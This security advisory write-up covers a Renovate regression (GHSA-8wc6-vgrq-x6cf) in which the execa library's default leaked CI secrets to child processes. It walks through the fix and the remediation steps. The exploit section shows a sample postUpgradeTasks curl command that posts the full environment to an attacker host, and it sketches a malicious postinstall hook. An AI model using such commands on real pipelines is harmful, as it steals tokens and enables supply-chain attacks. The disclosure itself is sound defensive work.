CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-8WC6-VGRQ-X6CF
5.5

Renovate's TMI: When Automation Leaks the Keys to the Kingdom

Alon Barad
Alon Barad
Software Engineer

Feb 14, 2026·6 min read·12 visits

PoC Available

Executive Summary (TL;DR)

Renovate switched to a new library (`execa`) for running commands but missed a default setting that merges environment variables. Consequently, `npm install` scripts and `postUpgradeTasks` ran with full access to Renovate's secrets. Fixed in 42.96.3 and 43.4.4.

A critical regression in Renovate's process execution logic allowed child processes to inherit the full set of parent environment variables. This accidentally exposed sensitive CI/CD credentials—such as GitHub PATs and NPM tokens—to untrusted scripts running during package updates.

The Hook: The Helpful Bot That Talked Too Much

Renovate is the golden retriever of the DevSecOps world. It fetches your dependency updates, wags its tail (opens a PR), and generally tries to be a good boy. To do its job, it needs keys to the house—specifically, Write access to your repositories, tokens for your package registries (NPM, Docker Hub), and often a myriad of other secrets injected into its CI/CD environment.

But here is the catch: Renovate doesn't just push code; it runs code. It executes npm install, go mod tidy, and user-defined postUpgradeTasks. Security 101 dictates that when you run untrusted code (like a random npm package's install script), you sandboxing it. You definitely don't hand it your wallet.

For a long time, Renovate was careful. It curated the environment variables passed to child processes, stripping out the sensitive stuff. But in late 2025, during a routine refactor to modernize its codebase, someone swapped out the engine under the hood. The car still drove fine, but suddenly, the trunk was popping open and spilling gold bars every time it hit a speed bump. This is the story of how a helper library's "helpful" default setting turned Renovate into a secrets dispenser.

The Flaw: Defaults Are The Devil

The root cause of GHSA-8wc6-vgrq-x6cf is a classic case of "implicit behavior." In Pull Request #40212, the Renovate team decided to switch their process execution logic to use execa, a very popular and powerful Node.js wrapper for child_process. It's a great library. It handles cross-platform nonsense, better error messages, and promise-based execution.

However, execa has a default behavior that is conceptually convenient for CLI tools but catastrophic for a security sandbox: extendEnv: true. By default, execa takes the parent process's process.env and merges it with whatever you pass it. If the parent process is a CI runner loaded with GITHUB_TOKEN, AWS_SECRET_KEY, and NPM_TOKEN, and you spawn a child process to run npm install, that child inherits everything unless you explicitly tell it to stop.

The developers removed the old manual spawning logic—which likely had an explicit "only pass these vars" filter—and replaced it with execa. They assumed execa would start with a clean slate or only use what was explicitly provided. They were wrong. The result? Every command Renovate ran, from git fetch to malicious post-install scripts in dependencies, had full read access to the runner's environment variables.

The Code: One Line to Rule Them All

The fix is almost insulting in its simplicity, which is typical for the most dangerous bugs. It didn't require re-architecting the security model; it just required flipping a boolean switch that should have been off to begin with.

Here is the vulnerable implementation (simplified) compared to the patch in lib/util/exec/common.ts:

The Vulnerable Code:

export function exec(cmd, options) {
  // ... setup code ...
  return execa(cmd, args, {
    cwd: options.cwd,
    shell: true,
    // Implicitly: extendEnv: true
  });
}

The Fix (Commit 9b59ffd):

export function exec(cmd, options) {
  // ... setup code ...
  return execa(cmd, args, {
    cwd: options.cwd,
    shell: true,
    extendEnv: false, // <--- The magic shield
    env: options.env  // Only use what we give you
  });
}

By adding extendEnv: false, the developers forced execa to ignore the parent's process.env. This returned Renovate to its intended behavior: an explicit allowlist where only necessary variables (like PATH or specific proxy settings) are passed down, and secrets stay in the parent process where they belong.

The Exploit: Exfiltrating Secrets in CI

How would an attacker weaponize this? You don't need a buffer overflow or a ROP chain. You just need to ask the environment nicely. There are two primary vectors here: the Insider Threat and the Supply Chain Attack.

Vector 1: The Malicious Configuration (Insider/PR) If an attacker can modify the renovate.json of a repository that Renovate scans, they can add a postUpgradeTasks. This feature allows running arbitrary shell commands after an update.

{
  "postUpgradeTasks": {
    "commands": [
      "curl -X POST -d \"$(env)\" https://attacker.com/leak"
    ],
    "executionMode": "branch"
  }
}

Before the fix, when Renovate processed this config, it would spawn a shell to run curl. Because of the bug, that shell inherited GITHUB_TOKEN and NPM_TOKEN. The curl command would happily dump the entire environment to the attacker's server.

Vector 2: The Poisoned Dependency Imagine Renovate is updating a dependency in your project. It runs npm install to generate the lockfile. If that dependency contains a malicious postinstall script:

// package.json of a compromised dependency
"scripts": {
  "postinstall": "node leak_secrets.js"
}

Renovate runs npm install. The npm process inherits the secrets. npm runs the postinstall script, which inherits the secrets from npm. The script reads process.env.GH_TOKEN and sends it home. You just got pwned by a minor version update.

The Impact: Why You Should Rotate Everything

This isn't just a "read-only" leak. The credentials Renovate uses are high-value targets. A leaked GitHub Token often has repo scope, meaning an attacker can push code to your private repositories, modify releases, or delete branches.

If you are using Renovate to publish packages, it might hold an NPM_TOKEN with publishing rights. An attacker could use this to publish malicious versions of your internal packages, effectively pivoting from a CI leak to a full-blown supply chain attack on your customers.

The window of exposure was roughly six weeks (Dec 30, 2025 to Feb 9, 2026). Any job run during that time with affected versions of Renovate potentially exposed its secrets to the child processes it spawned. If you run untrusted code (and npm install is untrusted code), you must assume compromise.

The Fix: Patch and Purge

First, stop the bleeding. If you are running self-hosted Renovate, check your version immediately. If you are in the 42.68.1 - 42.96.2 or 43.0.0 - 43.4.3 range, you are vulnerable.

Step 1: Upgrade Update to version 42.96.3 or 43.4.4 immediately. These versions contain the extendEnv: false patch.

Step 2: Rotate Credentials This is the painful part, but it is non-negotiable. Merely patching the software doesn't un-leak the secrets. You must assume that any token exposed to a Renovate runner during the vulnerable window has been harvested. Rotate your bot's GitHub/GitLab tokens. Rotate your NPM tokens. Rotate your Docker Hub credentials. If you injected AWS keys, rotate those too.

Step 3: Harden Configuration Review your allowedPostUpgradeCommands in your Renovate global config. Ideally, disable postUpgradeTasks entirely unless you strictly control the repositories being scanned. Trusting user-defined shell commands in a privileged environment is always a game of Russian Roulette; this bug just put a bullet in every chamber.

Official Patches

RenovatePull Request fixing the regression

Fix Analysis (1)

Technical Appendix

CVSS Score
5.5/ 10
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Affected Systems

Renovate CLI (Self-hosted)Renovate Docker ImagesCI/CD Pipelines running Renovate

Affected Versions Detail

Product
Affected Versions
Fixed Version
Renovate
Mend
>= 42.68.1 < 42.96.342.96.3
Renovate
Mend
>= 43.0.0 < 43.4.443.4.4
AttributeDetail
CWECWE-526 (Env Var Exposure)
Attack VectorLocal / CI Environment
CVSS5.5 (Medium)
Affected Componentlib/util/exec/common.ts
ImpactInformation Disclosure (Credentials)
Exploit StatusConceptual / PoC Available

MITRE ATT&CK Mapping

T1552.003Unsecured Credentials: Bash History/Env Vars
Credential Access
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1204.002User Execution: Malicious File
Execution
CWE-526
Exposure of Sensitive Information through Environmental Variables

Vulnerability Timeline

Vulnerability introduced in v42.68.1 via migration to execa
2025-12-30
Vulnerability identified and patched in v42.96.3
2026-02-09
GHSA-8wc6-vgrq-x6cf published
2026-02-13

References & Sources

  • [1]GHSA-8wc6-vgrq-x6cf Advisory
  • [2]Fix Commit